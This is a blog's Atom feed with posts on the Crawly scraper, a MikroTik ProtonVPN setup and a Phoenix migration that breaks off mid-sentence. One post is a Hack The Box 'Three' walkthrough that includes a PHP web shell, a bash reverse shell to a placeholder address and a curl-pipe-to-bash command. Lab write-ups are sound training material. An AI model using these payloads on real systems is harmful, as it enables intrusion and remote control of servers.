<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <link rel="self" href="/feed/rss.xml"/>
  <author>
    <name>Dawgora</name>
  </author>
  <id>/</id>
  <title>dawgora.com RSS feed</title>
  <updated>2026-04-20T15:34:47.812734Z</updated>
  <entry>
    <content type="text">&lt;p&gt;I recently had to work with a scraper, named &lt;a href=&quot;https://github.com/elixir-crawly/crawly&quot;&gt;Crawly&lt;/a&gt; . And I had some fun with it, but there isn’t a lot of information, on how to work with it better, so, I wanted to write a small blog post, to help out some people who might want to work with it in the future. there are some small things/recommendations, on how to work with it.&lt;/p&gt;&lt;h2&gt;How to set cookies&lt;/h2&gt;&lt;p&gt;Sometimes, you need to set some cookies, so that the website will work. For example, where you got some kind of age verification- you always need that cookie to be set to true or some value, and it always needs to be sent, if you want to see some content.&lt;/p&gt;&lt;p&gt;to create this, I added this in my config file (but yeah, it would also be better if you can add it to your &lt;a href=&quot;https://hexdocs.pm/crawly/configuration.html#overriding-global-settings-on-spider-level&quot;&gt;override_settings&lt;/a&gt; function instead)&lt;/p&gt;&lt;pre&gt;&lt;code&gt;config :crawly,
    ...
    middlewares: [
     ... ,
     {Crawly.Middlewares.RequestOptions,
     [
     timeout: 10_000,
     recv_timeout: 5000,
     hackney: [
     cookie: [{&quot;YOUR_COOKIE_NAME&quot;, &quot;1&quot;,[{:path, &quot;/&quot;}, {:domain, &quot;.domain.com&quot;}, {:secure, true}, {:max_age, 7}]}]]
     ]}
    ],
...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Basically, this will make sure that each of your requests has this cookie. it was a pretty nice feature, which helped me tremendously, this kind of wasn’t written in documentation and I had to search a lot to find a good way to do this.&lt;/p&gt;&lt;h2&gt;How to run multiple crawlers through one project and do what you want&lt;/h2&gt;&lt;p&gt;Also, while I worked on one of my work-related projects, I had to run multiple crawlers from multiple sites, with different designs (and run them dynamically, later on on that). And I had to persist the entities to a database. So, I needed to use pipelines. but not all crawlers, that I made, would be the same specific fields and so on, that wouldn’t cut it. So… I made my own pipes.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;config :crawly,
  closespider_timeout: 1,
  concurrent_requests_per_domain: 20,
  middlewares: [
...
  ],
  pipelines: [
    {Project.Crawly.ValidateEntities},
    {Project.Crawly.DuplicateFilter},
    {Project.Crawly.PersistEntity}
  ],&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And when a entity goes into the pipeline, my pipeline looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;defmodule Project.Crawly.ValidateEntities do
  @behaviour Crawly.Pipeline

  require Logger

  @impl Crawly.Pipeline
  def run(item, state, opts \\ [])

  def run(%{type_1: true} = item, state, _opts) do
    Crawly.Pipelines.Validate.run(item, state, fields: [:video_views, :url, :title])
  end

  def run(%{type_2: true} = item, state, _opts) do
    Crawly.Pipelines.Validate.run(item, state, fields: [:title, :url, :text])
  end

  def run(%{type_3: true} = item, state, _opts) do
    Crawly.Pipelines.Validate.run(item, state, fields: [:text, :on_sale?])
  end

  def run(item, state, _opts) do
    Crawly.Pipelines.Validate.run(item, state, fields: [:type, :url, :name])
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;as you can see, I use pattern matching to go trough the wanted flow. Might be a little hack, but that was the easiest way to go with a flow you want.&lt;/p&gt;&lt;h2&gt;Running Crawly with Oban.&lt;/h2&gt;&lt;p&gt;oh boy, this is also a fun part. The thing is, you can easily run crawly through oban, but there is a problem. Oban never knows when the crawly has finished crawling. So… If Oban doesn’t know if the crawl has finished, it just basically waits for a message. So, how do you fix this? By getting your oban jobs pid, giving it to the crawler, and when the project has finished the work, send pid a message, that it has finished.&lt;/p&gt;&lt;p&gt;for crawly, you got a function, which always calls, when it times out or is finished, which is &lt;code class=&quot;inline&quot;&gt;on_spider_closed_callback&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;config :crawly,
  ...,
  middlewares: [
  ...
  ],
  pipelines: [
    ...
  ],
  on_spider_closed_callback: fn _spider_name, crawl_id, reason -&gt;
    [{_, pid}] = :ets.lookup(:crawler_pid, crawl_id)

    send(pid, {:crawly_finished, reason})

    :ok
  end,&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;note- perhaps it’s better to add this function to the override_settings. So, basically, you get your pid (might not be the best variant of how i do it- I persist them inside a ets table and look it up by crawl_id. Perhaps it’s not even production safe, not a pro at that). and then you send your pid a message, that your crawly has finished it’s job.&lt;/p&gt;&lt;p&gt;and then, in the oban job, you can put in something like this.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  @impl Oban.Worker
  def perform(%Oban.Job{args: %{&quot;thingy_id&quot; =&gt; thingy_id}}) do
    ...
    
    receive do
    {:crawly_finished, reason} -&gt;
        IO.inspect(&quot;Crawl finished #{reason}&quot;)
        reason
    end

    :ok
  end&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and this will make the job finish it. So you won’t need to deal with unfinished jobs.&lt;/p&gt;&lt;h2&gt;Running multiple identical crawlers.&lt;/h2&gt;&lt;p&gt;Oh boy, this also was a doosie. The thing is, that the Crawly uses UUID1 (Read &lt;a href=&quot;https://www.sohamkamani.com/uuid-versions-explained/&quot;&gt;here&lt;/a&gt; for more information about it). The thing is, I don’t know why, UUID1 wasn’t unique enough for me, and I had some collisions (when I was running crawly through oban in multiple instances), where the crawlers had the same id. I read the manual a bit more and found out, that you can set your own crawler id. so that’s what I did, and set my crawler id with not UUID1, but UUID4. They are the same length and they always are unique.&lt;/p&gt;&lt;p&gt;So… I basically added this code, when I started a crawler instance.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  @impl Oban.Worker
  def perform(%Oban.Job{args: %{&quot;thingy_id&quot; =&gt; thingy_id}}) do
    pid = self()
    entity = Project.get_the_thingy(thingy_id)
    id = UUID.uuid4()

    init_ets_if_required(:entity_spider)
    init_ets_if_required(:crawler_pid)
    :ets.insert(:crawler_pid, {id, pid})

    Crawly.Engine.start_spider(Project.Spiders.EntitySpider,
    url: entity.url,
    crawl_id: id
    )

    :ets.insert(:entity_spider, {id, data})

    ...

    :ok
  end

  defp init_ets_if_required(name) do
    if :undefined == :ets.info(name) do
    :ets.new(name, [:named_table, :set, :public]) #public might not be the safest way, tho.
    end
  end&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You might be asking- why I need a unique id? Well, because if I don’t have a unique id, and I have a collision, how the hell I will turn off my crawler, how will it read the correct data, and save it to a proper thingy? that’s why I need a unique pid. With a unique crawler_id, I know that it will be a specific crawler, I know it’s pid, and I can do all that I need/want.&lt;/p&gt;&lt;h2&gt;Crawly and relations&lt;/h2&gt;&lt;p&gt;This will also sound like a hack, but it worked for me. The thing is- if you have an id (for example, for a relation: you want to crawl some posts and save their comments, and you want to save the comments to the post), you can’t give it in the middle of the crawl. No, really. I had some problems giving the id of a “post” to the comments. And, the easiest way to do that, was also through &lt;code class=&quot;inline&quot;&gt;:ets&lt;/code&gt; and just asking with your crawler id for the data you want. It was a quick victory, but might not be the best way to do that. I might later check some other ways, but currently, while my home project isn’t going on prod, this will work for me for a while.&lt;/p&gt;&lt;h2&gt;Crawly and dynamic links.&lt;/h2&gt;&lt;p&gt;This also was a small pain point. well, you sometimes want your crawler to work with some dynamic links (like I previously said, you want to crawl multiple posts.)&lt;/p&gt;&lt;p&gt;So, for example, when I worked with this, in my oban job, I called the crawly like this&lt;/p&gt;&lt;pre&gt;&lt;code&gt;    Crawly.Engine.start_spider(Project.EntitySpider,
    url: thingy.url,
    crawl_id: id
    )&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Basically, I gave the spider a unique field (called url). and, then, I added this in the spider file:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;defmodule Project.EntitySpider do
  use Crawly.Spider

  @impl Crawly.Spider
  def base_url(), do: &quot;example.com&quot;

  @impl Crawly.Spider
  def init(options) do
    url = Keyword.get(options, :url)

    posts =
    Crawly.Request.new(&quot;#{url}/posts&quot;, %{},
        hackney: [
        cookie: [
            {&quot;good_cookie&quot;, &quot;1&quot;,
            [{:path, &quot;/&quot;}, {:domain, &quot;.example.com&quot;}, {:secure, true}, {:max_age, 7}]}
        ]
        ]
    )

    [start_requests: [posts]]
  end
  ...
end&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, basically, I created a new Crawly.Request from the url which was inside the keyword list. And then it just works dynamically.&lt;/p&gt;&lt;p&gt;These are some of the problems that I saw while working with it. Perhaps my mumbling with the problems I saw might help somebody in the future. :)&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/working-with-crawly"/>
    <id>/blog/working-with-crawly</id>
    <title>Working with Crawly</title>
    <updated>2023-09-26T09:19:35Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;This is going to be a small writeup for HTB “starting point” three&lt;/p&gt;&lt;p&gt;We are given a server which we don’t know anything about, just an IP. (10.129.186.57) note. the domain and subdomain is always registred in /etc/hosts VPN_ADDRESS - is your tunnell address which you can find via ifconfig&lt;/p&gt;&lt;p&gt;first thing first, information gathering.&lt;/p&gt;&lt;p&gt;So, knowing the IP, lets scan it.&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;inline&quot;&gt;nmap -sV -p- -T5 -vv 10.129.186.57&lt;/code&gt; where nmap is a tool to scan IP addresses ports (and not only) -sV means scan with version detection -p- means scan all the ports -T means timing policy -vv is very verbose and the last is the IP.&lt;/p&gt;&lt;p&gt;after this, we receive the information that there are 2 open ports&lt;/p&gt;&lt;pre&gt;&lt;code&gt;22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCitBp4qe2+WEqMGa7+L3eEgbrqD/tH3G5PYsQ9nMFx6Erg9Rp+jn7D9QqC9GqKdraCCUQTzVoW3zqEd83Ef4iWR7VXjTb469txJU+Y8XlG/4JzegbjO6WYyfQTtQ3nLkqpa21BZEdH9ap28mcJAggj4/uHTiA3yTgZ2C+zPA6LoIS7CaB1DPK2q/8wrxDiRNv4gGiSjcxEilpL8Qls4R3Ny3QJD89hvgEdV9zapTS5T9hOfUdwbkElabjrWL4zs/E+cyHSZF5pPREiv6QkdMmk7cvMND5epXA29womDuabJsDLhrFYFecJxDmXhv6yspRAemCewOX+GnWckerKYeOf
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEkEPksFeIH9z6Ds6r7s2Uff45kDk/PEnvXYwP0ny6pKsP2s62W3PZVCywfF3aC8ONsAqQh6zy0s44Zv8B8g+rI=
|   256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINwGMkF/JG8KPrh19vLPmhe+RC0WBQt06gh1zE3EOo2q
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;22, and 80. that means it might have http port and ssh. lets check the website.&lt;/p&gt;&lt;p&gt;first things first, lets get all information about the domain. we firstly get the info about the domain name “thetoppers.htb” by searching trough source code and contact email.&lt;/p&gt;&lt;p&gt;Seing this, we can try doing something. like trying to get some subdomains. we can try a zone transfer, with random ns (basically, try to guess that nameserver is ns.&lt;strong&gt;DOMAIN&lt;/strong&gt; )&lt;/p&gt;&lt;p&gt;ve can do &lt;code class=&quot;inline&quot;&gt;dig -axfr domain.name @ns.something.com&lt;/code&gt; if you can’t get any info, that means that you basically can’t get zone transfer. (fun fact, this is one thing you could do with some universities)&lt;/p&gt;&lt;p&gt;After trying one way to get subdomains, we can try another, with fuzzing. you can use something like gobuster for this. Gobuster is pretty good tool to go over a lot of domains in fast way (and has a lot other things)&lt;/p&gt;&lt;p&gt;but using this, you’ll need to use wordlist. here are some  &lt;a href=&quot;https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt&quot;&gt;https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt&lt;/a&gt; &lt;a href=&quot;https://raw.githubusercontent.com/danTaler/WordLists/master/Subdomain.txt&quot;&gt;https://raw.githubusercontent.com/danTaler/WordLists/master/Subdomain.txt&lt;/a&gt; &lt;a href=&quot;https://www.kali.org/tools/wordlists/&quot;&gt;https://www.kali.org/tools/wordlists/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;we can try something like &lt;code class=&quot;inline&quot;&gt;gobuster vhost -u http://thetoppers.htb -w /mnt/hdd/Other/subdomain_list_20k.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;with this command, gobuster will basically ping every “subdomain” within that list and hope for a good response like 200, or 500, or whatever.&lt;/p&gt;&lt;p&gt;After scanning with this keyword list, we find out, that there is a subdomain, called s3.thetoppers.htb&lt;/p&gt;&lt;p&gt;knowing what s3 means (aws s3), we can try some things to access it.&lt;/p&gt;&lt;p&gt;first things first, download and set up awscli, and configure it with a random account, for the first time. empty values won’t work most of the time. so if you put &lt;code class=&quot;inline&quot;&gt;aws configure&lt;/code&gt; values like &lt;code class=&quot;inline&quot;&gt;temp&lt;/code&gt;&lt;/p&gt;&lt;p&gt;knowing that. we can try get the info about the buckets. (first, try the basic, like s3://… without the endpoint, to perhaps get on the)&lt;/p&gt;&lt;pre&gt;&lt;code&gt;aws s3 --endpoint=http://s3.thetoppers.htb ls &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;running this command you can try and see the buckets.&lt;/p&gt;&lt;p&gt;running this we found out that there is a bucket visible there &lt;code class=&quot;inline&quot;&gt;s3://thetoppers.htb&lt;/code&gt; so, lets check what’s inside&lt;/p&gt;&lt;pre&gt;&lt;code&gt;aws s3 --endpoint=http://s3.thetoppers.htb ls s3://thetoppers.htb&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;running this, we can see all the things what is inside the bucket. we see .htaccess and index.php and some other files.&lt;/p&gt;&lt;p&gt;knowing the bucket, we can try and check some permissions. For example, if we can download something, write over, or upload something.&lt;/p&gt;&lt;p&gt;firstly, lets try with uploading an empty file basically &lt;code class=&quot;inline&quot;&gt;&quot;&quot; &gt; file.txt&lt;/code&gt; and upload it to the server.&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;inline&quot;&gt;aws --endpoint=http://s3.thetoppers.htb s3 cp file.txt s3://thetoppers.htb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;if this is possible, great- we can upload things there. and the server is vulnerable.&lt;/p&gt;&lt;p&gt;knooowing this, we can try something more. currently what we know:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;the server has a public bucket&lt;/li&gt;&lt;li&gt;the bucket has php file in it&lt;/li&gt;&lt;li&gt;the server is running on php/apache&lt;/li&gt;&lt;li&gt;you can upload files&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;knowing this, well, you can try, and upload a file, which basically uses phps system command with a GET variable.&lt;/p&gt;&lt;p&gt;why so? firstly, get variables can be added in urls (basically example.com?stuff=1. it would be possible to get $_GET[\’stuff\’])&lt;/p&gt;&lt;p&gt;upload a file to server which contains something like  &lt;code class=&quot;inline&quot;&gt;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt; &gt; file | aws ....&lt;/code&gt; &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.system.php&quot;&gt;https://www.php.net/manual/en/function.system.php&lt;/a&gt;&lt;/p&gt;&lt;p&gt;So, we got an “shell”. after using but.. we can do more. we can gain actual access from our console, not our browser. After that, we have to do two things:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;make a location, where the “victim” connects to us&lt;/li&gt;&lt;li&gt;listen to everything what connects to us&lt;/li&gt;&lt;li&gt;send a bash file, which gives a reverse shell.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;so, to make a location to connect to our system is easy. do something like &lt;code class=&quot;inline&quot;&gt;python3 -m http.server 8000&lt;/code&gt; to start a server&lt;/p&gt;&lt;p&gt;and we can use nc ( &lt;a href=&quot;https://www.cyberithub.com/install-netcat-command-on-linux/&quot;&gt;https://www.cyberithub.com/install-netcat-command-on-linux/&lt;/a&gt; )&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;inline&quot;&gt;nc -nvlp 69&lt;/code&gt;&lt;/p&gt;&lt;p&gt;which is n - don’t resolve (only ip addresses) v - verbose l - forward local port to remote address p - local port (69)&lt;/p&gt;&lt;p&gt;And then the last one. reverse shell. and upload to it to the s3. create a bash file, which basically sends tcp packets to your ip, like&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#!/bin/bash  
bash -i &gt;&amp; /dev/tcp/VPN_ADDRESS/1337 0&gt;&amp;1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;-i is  to act as an interactive shell rest is… basically this &lt;a href=&quot;https://unix.stackexchange.com/questions/525653/why-are-or-required-to-use-dev-tcp&quot;&gt;https://unix.stackexchange.com/questions/525653/why-are-or-required-to-use-dev-tcp&lt;/a&gt; this is a good material. the command listens to a connect/socket whatever. basically, you’ll give a shell.&lt;/p&gt;&lt;p&gt;nooow then, when everything is set up, try this&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://thetoppers.htb/shell.php?cmd=curl%20VPN_ADDRESS:8000/shell.sh|bash&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and now you got reverse shell. and you got full access to the user.&lt;/p&gt;&lt;p&gt;notes:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;aws doesn’t work on all systems correctly with this box. better use Kali or parrot, manjaro won’t work that well&lt;/li&gt;&lt;li&gt;I would really advise to check a lot on the fuzzers. it will help you a lot. even more, if you learn how to hide your ass when you’re doing fuzzing.&lt;/li&gt;&lt;li&gt;learn more about reverse shells. it’s one of the most important things to create connectiong to the victim. it’s a good knowledge, even more, if you’re doing OSCP&lt;/li&gt;&lt;li&gt;Do the tasks on kali.&lt;/li&gt;&lt;li&gt; learn more about nmap/nc.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;and other things. this was kind of a “eureka, i need to learn more” moment with this box.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/write-up-three"/>
    <id>/blog/write-up-three</id>
    <title>Write up- Three</title>
    <updated>2022-09-06T20:32:16Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt; Sometimes, you just want to set up the router and that’s just it. But sometimes, you want to put on some security on some ports or wifi, that you can’t be trackable so easily, or you want to watch some content that isn’t accessible in your country. So, today I gonna give a tip on how to set up ProtonVPN on Mikrotik. This tutorial will work on (RBD52G-5HacD2HnD-TC) MikroTik RouterBoard hAP ac² on Router OS version 6. (ROS 6)&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://homepage-document-storage.fra1.digitaloceanspaces.com/documents/b32bd58b-bbf9-4c66-9ed8-3706c1190ec2.jpg&quot; alt=&quot;Router ROS6&quot;&gt;&lt;/p&gt;&lt;p&gt;This small tutorial will go over how to set up Mikrotik ground, if there’s something you don’t need, just don’t paste it or use it. And this tutorial will make all active connections go through a VPN. This script is made so that it works straight from the console. also, it’s tested on at least 4 devices, so, it works.&lt;/p&gt;&lt;p&gt;so, first thing first- connect the device and change your password (connect via mac address with winbox. trust me, that will save your nerves. Also, &lt;strong&gt;you can’t paste anything from the browser GUI&lt;/strong&gt;.). After that, go to the console and make these changes.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/interface wireless security-profiles
set [ find default=yes ] authentication-types=wpa2-psk,wpa2-eap mode=\
    dynamic-keys supplicant-identity=MikroTik wpa2-pre-shared-key=actuallygoodpassword

/interface wireless
set [ find default-name=wlan1 ] band=2ghz-b/g/n channel-width=20/40mhz-XX \
    disabled=no distance=indoors frequency=auto installation=indoor mode=\
    ap-bridge ssid=WIFINAME wireless-protocol=802.11
set [ find default-name=wlan2 ] band=5ghz-a/n/ac channel-width=\
    20/40/80mhz-XXXX disabled=no distance=indoors frequency=auto \
    installation=indoor mode=ap-bridge ssid=WIFINAME wireless-protocol=\
    802.11

/ip address set [find comment=&quot;defconf&quot;] address=10.10.10.1/24 comment=defconf interface=bridge network=10.10.10.0
/ip dhcp-server network set [find 1] address=10.10.10.0/24 comment=defconf dns-server=10.10.10.1 gateway=10.10.10.1 netmask=24
/ip pool set [find name=default-dhcp] name=dhcp ranges=10.10.10.10-10.10.10.254
/ip dns static set [find comment=&quot;defconf&quot;] address=10.10.10.1 comment=defconf name=router.lan

/system reboot&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, what do these commands mean? We create a wifi security profile, which basically will make the wifi passwords be &lt;code class=&quot;inline&quot;&gt;actuallygoodpassword&lt;/code&gt; . Also, the wifi names will be &lt;code class=&quot;inline&quot;&gt;WIFINAME&lt;/code&gt; (change these as you want. I would recommend naming them separately, because if you will set them with the same SSID (wifi name), the device will connect to the 2.4GHz version (you can know what kind of “speed” access point it is by looking at the band. (for example band=5ghz-a/n/ac) )) We set the network range to 10.10.10.1/24, we give out ip addresses from 10.10.10.10-10.10.10.254 and give the router address 10.10.10.1&lt;/p&gt;&lt;p&gt;and then we restart the router. if you connected via ip address, you’ll need to reconnect to the device with the correct IP address.&lt;/p&gt;&lt;p&gt;Now… the second part.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/tool fetch url=&quot;https://protonvpn.com/download/ProtonVPN_ike_root.der&quot;
/certificate import file-name=ProtonVPN_ike_root.der name=&quot;ProtonVPN CA&quot; passphrase=&quot;&quot;

/ip firewall address-list add address=10.10.10.0/24 list=under_protonvpn
/ip firewall mangle add action=mark-connection chain=prerouting src-address-list=under_protonvpn new-connection-mark=under_protonvpn passthrough=yes

/ip ipsec mode-config add connection-mark=under_protonvpn name=&quot;ProtonVPN mode config&quot; responder=no
/ip ipsec policy group add name=ProtonVPN
/ip ipsec profile add dh-group=modp4096,modp2048,modp1024 dpd-interval=disable-dpd enc-algorithm=aes-256 hash-algorithm=sha256 name=&quot;ProtonVPN profile&quot;
/ip ipsec peer add address=lv.protonvpn.net exchange-mode=ike2 name=&quot;ProtonVPN LV server&quot; profile=&quot;ProtonVPN profile&quot;
/ip ipsec peer add address=ee.protonvpn.net exchange-mode=ike2 name=&quot;ProtonVPN EE server&quot; profile=&quot;ProtonVPN profile&quot;
/ip ipsec proposal add auth-algorithms=sha256 enc-algorithms=aes-256-cbc lifetime=0s name=&quot;ProtonVPN proposal&quot; pfs-group=none
/ip ipsec identity add auth-method=eap certificate=&quot;ProtonVPN CA&quot; eap-methods=eap-mschapv2 generate-policy=port-strict mode-config=&quot;ProtonVPN mode config&quot; password=PASSWORD_GOES_HERE peer=&quot;ProtonVPN LV server&quot; policy-template-group=ProtonVPN username=USERNAME_GOES_HERE
/ip ipsec identity add auth-method=eap certificate=&quot;ProtonVPN CA&quot; eap-methods=eap-mschapv2 generate-policy=port-strict mode-config=&quot;ProtonVPN mode config&quot; password=PASSWORD_GOES_HERE peer=&quot;ProtonVPN EE server&quot; policy-template-group=ProtonVPN username=USERNAME_GOES_HERE
/ip ipsec policy add dst-address=0.0.0.0/0 group=ProtonVPN proposal=&quot;ProtonVPN proposal&quot; src-address=0.0.0.0/0 template=yes

/interface bridge add name=protonvpn_blackhole protocol-mode=none
/ip route add gateway=protonvpn_blackhole routing-mark=protonvpn_blackhole
/ip firewall mangle add chain=prerouting src-address-list=under_protonvpn action=mark-routing new-routing-mark=protonvpn_blackhole passthrough=yes

/ip firewall filter add action=accept chain=forward connection-mark=under_protonvpn place-before=[find where action=fasttrack-connection]
/ip firewall filter disable [find action=fasttrack-connection]
/ip firewall mangle add action=change-mss chain=forward new-mss=1360 passthrough=yes protocol=tcp connection-mark=under_protonvpn tcp-flags=syn tcp-mss=!0-1360

/system reboot&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;First things first. IPSEC passwords for proton are under &lt;a href=&quot;https://account.protonvpn.com/account#openvpn&quot;&gt;https://account.protonvpn.com/account#openvpn&lt;/a&gt;&lt;/p&gt;&lt;p&gt;First, you’ll get the required certs and make a firewall rule that will mark all the packets which go through this router mark as under_protonvpn&lt;/p&gt;&lt;p&gt;then you add 2 protonvpn ipsec accounts (one for redundancy, just to be sure, you can add more). in this example, I’m adding Latvian and Estonian VPN as my possible sources.&lt;/p&gt;&lt;p&gt;change the PASSWORD_GOES_HERE and USERNAME_GOES_HERE to your OpenVPN details.&lt;/p&gt;&lt;p&gt;You should now have a working VPN. But, there are some other things. the “protonvpn_blackhole” is a really good feature (if you don’t need it, you can remove these 3 lines). basically, if your VPN is down, or all the servers are down, the internet won’t work for you and your actual IP address won’t be found.&lt;/p&gt;&lt;p&gt;and lastly, turn off the FastTrack, add the forward rule for all the under_protonvpn packets and you’re set, you just need to reset the device.&lt;/p&gt;&lt;p&gt;And after all that, your device is set.&lt;/p&gt;&lt;p&gt;I haven’t got it working on ROS7, but I’ll try later to do it, but I’m already giving you a heads up that this won’t work correctly.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/mikrotik-ros6-ipsec-protonvpn"/>
    <id>/blog/mikrotik-ros6-ipsec-protonvpn</id>
    <title>Mikrotik (ROS6) IPSec with ProtonVPN</title>
    <updated>2022-08-10T19:26:13Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;So, this has been on my mind for a while, I was using a 2-year-old version of the phoenix framework, and I had some problems with CSS, Javascript, and other stuff, so I wanted to migrate it to a newer version of Elixir Phoenix, but also Migrate from Digital Ocean Droplet to App, and in this post, I’ll try to explain all the problems I had while redoing my blog, and what you might have to consider if you also want to go from Droplets to Apps.&lt;/p&gt;&lt;p&gt;Reasons, why I transferred from Droplet to an App:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;I had really a lot of painful tasks to do. For example- after each release, I had to regenerate CSS, I had to turn down the server, pull the newest things in, and start the server again plus run the migrations. It was &lt;strong&gt;PAIN&lt;/strong&gt;, it took like 10-15 minutes for each small change.&lt;/li&gt;&lt;li&gt;It felt that my hands were growing out from my ass, and I had f’ed up scss/css/js compilation, and some of the vue backend before (what I had), kind of worked, and kind of didn’t work. Sometimes, after you wrote a large post, you couldn’t even save, it because something f’ed up (for example, CSRF token expired)&lt;/li&gt;&lt;li&gt;I didn’t update the Droplet that often, the droplet was only for my blog and that was it, I hadn’t configured the firewall well enough, I had to jump through hoops to run even my blog normally. There were a lot of additional jobs just to run the project.&lt;/li&gt;&lt;li&gt;I wanted to put the project on Docker.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;And that’s how I started.&lt;/p&gt;&lt;h1&gt;Upgrading Phoenix from 1.15 to 1.16 (kind of)&lt;/h1&gt;&lt;p&gt;Firstly, I thought that I’ll just straight up update my old blog and that’s gonna be it. &lt;strong&gt;Wrong&lt;/strong&gt;. The structure was changed, and a lot of scripts that generate content were removed (webpack, babel was removed), or changed (basically, all node things from the project were removed but esbuild was the only thing that stayed.)  After I did the initial updates and recompiled/started the project, more or less nothing worked correctly again. I kind of gave up for like 2 months after that.&lt;/p&gt;&lt;p&gt;After this setback, I just thought, that it would be easier to just do a new project, copy-paste all the elixir/phoenix files, copy the CSS and all those things, and just use a different packer, and set it up with docker (and when it starts, it build the project for dev environment e.c.). I kind of shoot myself in the foot going this way. Okay, copy the code and the migrations were fine, and I checked manually with “iex/mix”, if it worked, (and it worked! except the scss building part). When I started the docker, I basically failed to build some things, and had a lot of errors, that something didn’t work, some ports are not working or something else is not working. After I had worked a bit more on it (like a week, on the day’s end) I fixed the docker things, but still couldn’t fix the new bundler (started with snowpack, ended with vite). Threw in the towel the second time, because I just was too frustrated that nothing works again.&lt;/p&gt;&lt;p&gt;The third time’s the charm, right? Yup. After the first two “f”ups, I just told to myself “just make it work and look kind of okay on mobile, devdesign will suffice”. And, to be fair, I did that and it worked. Firstly I just made the blog, where I can add the posts and where i can see them. That was a good start. After that, I generated authentication (phoenix has really nice auth generation, I only needed to remove the password reset functionality and registration, and I was good to go.), added image upload (had some problems there, will talk about this topic later), created that I can upload images/videos e.c. and create posts while I’m logged in, and I was basically set.&lt;/p&gt;&lt;p&gt;After all this, I was basically set, but I needed to add &lt;a href=&quot;https://hexdocs.pm/phoenix/releases.html&quot;&gt;Releases&lt;/a&gt;, to streamline all the processes and I wouldn’t need to scratch my head on how to automate setting up all the info when I start the server. When this was done, I basically created a basic docker script that was provided in the “release” documentation and I was almost done. I set up all the things on the App and just set it and forget it.&lt;/p&gt;&lt;p&gt;And That’s how I released this version of my blog. Yeah, it doesn’t have vue in it. Yes, it doesn’t have SCSS in it, yes, it has a dev design. But I have remade it ground up and it’s running correctly, and still, it doesn’t look that bad. What I literally learned, all over again- “Keep it simple, stupid” and “make it work, make it fast, make it pretty”. A site could be the ugliest thing in the world, but if you don’t even release it, there won’t be any point in the project.&lt;/p&gt;&lt;p&gt;By the way, my blog source code is available &lt;a href=&quot;https://github.com/Dawgora/blog_base&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h1&gt;Caveats to running on Application and not a droplet&lt;/h1&gt;&lt;p&gt;Yeah, there were some problems. First thing first- I kind of doubled the price of my blog. If my droplet cost me around 7.77 USD a month, now it costs more like 20 USD, 